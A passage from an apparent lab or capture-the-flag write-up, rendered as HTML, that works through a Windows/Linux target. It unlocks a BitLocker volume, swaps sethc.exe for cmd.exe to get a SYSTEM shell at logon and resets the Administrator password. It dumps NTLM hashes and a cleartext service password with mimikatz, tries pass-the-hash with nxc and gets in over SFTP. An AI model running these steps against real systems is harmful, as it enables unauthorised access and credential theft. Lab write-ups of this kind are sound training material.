&lt;/span&gt;&lt;span class="n"&gt;DISKPART&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;DISKPART&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;letter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;DISKPART&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exit&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Volume 1 (the 19 GB target) reads as &lt;code&gt;Unkno&lt;/code&gt; filesystem until unlocked - a BitLocker-locked NTFS volume shows as unrecognized to tools that can't decrypt it on the fly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp21eimpufeubajhgeq2j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp21eimpufeubajhgeq2j.png" alt="diskpart - listing and assigning the locked volume"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;X:\Sources&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;manage-bde&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-unlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-pw&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Enter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;volume:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BitLocker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;The&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;successfully&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unlocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;X:\Sources&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="n"&gt;/11/2025&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;05:23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DIR&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="n"&gt;/11/2025&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;05:33&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DIR&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="n"&gt;/11/2025&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;05:32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DIR&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="n"&gt;/11/2025&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;05:29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DIR&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Scripts&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="n"&gt;/08/2025&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;09:05&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DIR&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;/16/2026&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;08:30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DIR&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Windows&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe6e89educ9jdobgqels8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe6e89educ9jdobgqels8.png" alt="manage-bde unlock output and directory listing"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Swap &lt;code&gt;sethc.exe&lt;/code&gt; for &lt;code&gt;cmd.exe&lt;/code&gt;&lt;/strong&gt; - the classic Sticky Keys privesc:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;X:\Sources&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:\Windows\System32\sethc.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:\Windows\System32\sethc.exe.bak&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copied.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;X:\Sources&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:\Windows\System32\cmd.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:\Windows\System32\sethc.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;E:\Windows\System32\sethc.exe&lt;/span&gt;&lt;span class="nf"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Yes/No/All&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Y&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copied.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr2zeb17q35c70vt2zgt8.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr2zeb17q35c70vt2zgt8.jpeg" alt="Backing up sethc.exe and replacing it with cmd.exe"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Disconnect the ISO and reboot into the normal Windows logon screen. Pressing &lt;strong&gt;Shift x5&lt;/strong&gt; at the logon screen now launches a SYSTEM-privileged &lt;code&gt;cmd.exe&lt;/code&gt; in place of the Sticky Keys dialog - full SYSTEM access with neither account's Windows password:&lt;/p&gt;

&lt;p&gt;From this SYSTEM prompt, the Administrator password can simply be reset:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Administrator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Password123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Credential Dumping (Windows)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Local hashes via mimikatz
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;C:\Temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\mimikatz.exe&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# privilege::debug&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Privilege&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'20'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OK&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# token::elevate&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Impersonated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Token&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="mi"&gt;000003&lt;/span&gt;&lt;span class="n"&gt;e7&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AUTHORITY\SYSTEM&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# lsadump::sam&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Recovered NTLM hashes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Administrator:58a478135a93ac3bf058a5ea0e8fdb71
svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e
WDAGUtilityAccount:63d7c1f6a1a8378eba2ee87246bf7140
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pass-the-hash against the Linux target's Samba service only authenticates as Guest - Samba doesn't trust these as domain creds for anything useful here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; svc_backup &lt;span class="nt"&gt;-H&lt;/span&gt; be3071bd4cce75e2bbd3c79c7ec5380e
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   &lt;span class="o"&gt;[&lt;/span&gt;+] ODORI&lt;span class="se"&gt;\s&lt;/span&gt;vc_backup:be3071bd4cce75e2bbd3c79c7ec5380e &lt;span class="o"&gt;(&lt;/span&gt;Guest&lt;span class="o"&gt;)&lt;/span&gt;

nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Administrator &lt;span class="nt"&gt;-H&lt;/span&gt; 58a478135a93ac3bf058a5ea0e8fdb71
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   &lt;span class="o"&gt;[&lt;/span&gt;+] ODORI&lt;span class="se"&gt;\A&lt;/span&gt;dministrator:58a478135a93ac3bf058a5ea0e8fdb71 &lt;span class="o"&gt;(&lt;/span&gt;Guest&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the NTLM hashes aren't the way in - the real credential is elsewhere on disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Finding a cleartext password in Credential Manager
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;C:\Scripts\backup.ps1&lt;/code&gt; references &lt;code&gt;svc_backup&lt;/code&gt; connecting to &lt;code&gt;odori.vl&lt;/code&gt; via SFTP, with the password redacted in the script itself (shown only as &lt;code&gt;***&lt;/code&gt;). Since the script runs as a &lt;strong&gt;scheduled task&lt;/strong&gt;, Windows has to store the running account's password somewhere to authenticate non-interactively at run time - Credential Manager's Windows Credentials vault is the usual place for this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# vault::list&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Vault&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;77&lt;/span&gt;&lt;span class="n"&gt;bc582b-f0a6-4e15-4e80-61736b6f3b29&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Windows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Credentials&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Items&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;Ressource&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STRING&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Domain:batch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TaskScheduler:Task:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;EB952370-3B64-45F3-814D-6F47F413A8D8&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;Identity&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;STRING&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FILE02\svc_backup&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vault::list&lt;/code&gt; shows the entry exists but doesn't reveal the password itself - &lt;code&gt;vault::cred /patch&lt;/code&gt; decrypts and dumps it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# vault::cred /patch&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;TargetName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Domain:batch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TaskScheduler:Task:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;EB952370-3B64-45F3-814D-6F47F413A8D8&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;NULL&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;UserName&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FILE02\svc_backup&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;Type&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;domain_password&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Credential&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Napping2Curator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Recovered credential: &lt;code&gt;svc_backup&lt;/code&gt; / &lt;code&gt;Napping2Curator&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Gaining a Shell (Linux)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 SSH authenticates but hangs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh svc_backup@&amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-v&lt;/span&gt;
...
debug1: Next authentication method: password
svc_backup@&amp;lt;machine-ip&amp;gt;&lt;span class="s1"&gt;'s password:
Authenticated to &amp;lt;machine-ip&amp;gt; ([&amp;lt;machine-ip&amp;gt;]:22) using "password".
debug1: Entering interactive session.
debug1: pledge: fork
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authentication succeeds, but the session never produces a shell prompt - it just hangs. This pointed at a server-side restriction rather than a credential problem, so the obvious workaround is to try a different SSH subsystem: SFTP (also over port 22) is mentioned in the backup script, so test that first.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 SFTP works
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sftp svc_backup@&amp;lt;machine-ip&amp;gt;
svc_backup@&amp;lt;machine-ip&amp;gt;&lt;span class="s1"&gt;'s password:
Connected to &amp;lt;machine-ip&amp;gt;.
sftp&amp;gt; ls -la
drwxr-x---    5 svc_backup svc_backup     4096 Apr  6  2026 .
drwxr-xr-x    4 root     root         4096 Jan 11  2025 ..
lrwxrwxrwx    1 root     root            9 Apr  6  2026 .bash_history
-rw-r--r--    1 svc_backup svc_backup      220 Jan 11  2025 .bash_logout
-rw-r--r--    1 svc_backup svc_backup     3771 Jan 11  2025 .bashrc
drwx------    2 svc_backup svc_backup     4096 Jan 11  2025 .cache
drwxrwxr-x    3 svc_backup svc_backup     4096 Jan 15  2025 .local
-rw-r--r--    1 svc_backup svc_backup      807 Jan 11  2025 .profile
drwxr-xr-x    2 svc_backup svc_backup     4096 Jan 11  2025 .ssh
-rw-r-----    1 root     svc_backup       33 Oct 18 02:59 user.txt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Diagnosing the restricted shell
&lt;/h3&gt;

&lt;p&gt;Pulled the SSH server config to understand why the interactive session hangs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sftp&amp;gt; get /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;sshd_config
...
Match group svc_backup
        &lt;span class="c"&gt;#ChrootDirectory /backup&lt;/span&gt;
        ForceCommand /opt/restrict /home/%u
        AllowTcpForwarding no
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;svc_backup&lt;/code&gt; falls under this &lt;code&gt;Match group&lt;/code&gt; block, and &lt;code&gt;ForceCommand&lt;/code&gt; overrides whatever command the client requests - that's why the interactive shell never materializes. The forced command itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sftp&amp;gt; get /opt/restrict
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;restrict
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

/usr/lib/openssh/sftp-server &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It just re-execs the SFTP server, which is why SFTP worked but an interactive shell didn't - the account is wired to only ever get SFTP.&lt;/p&gt;

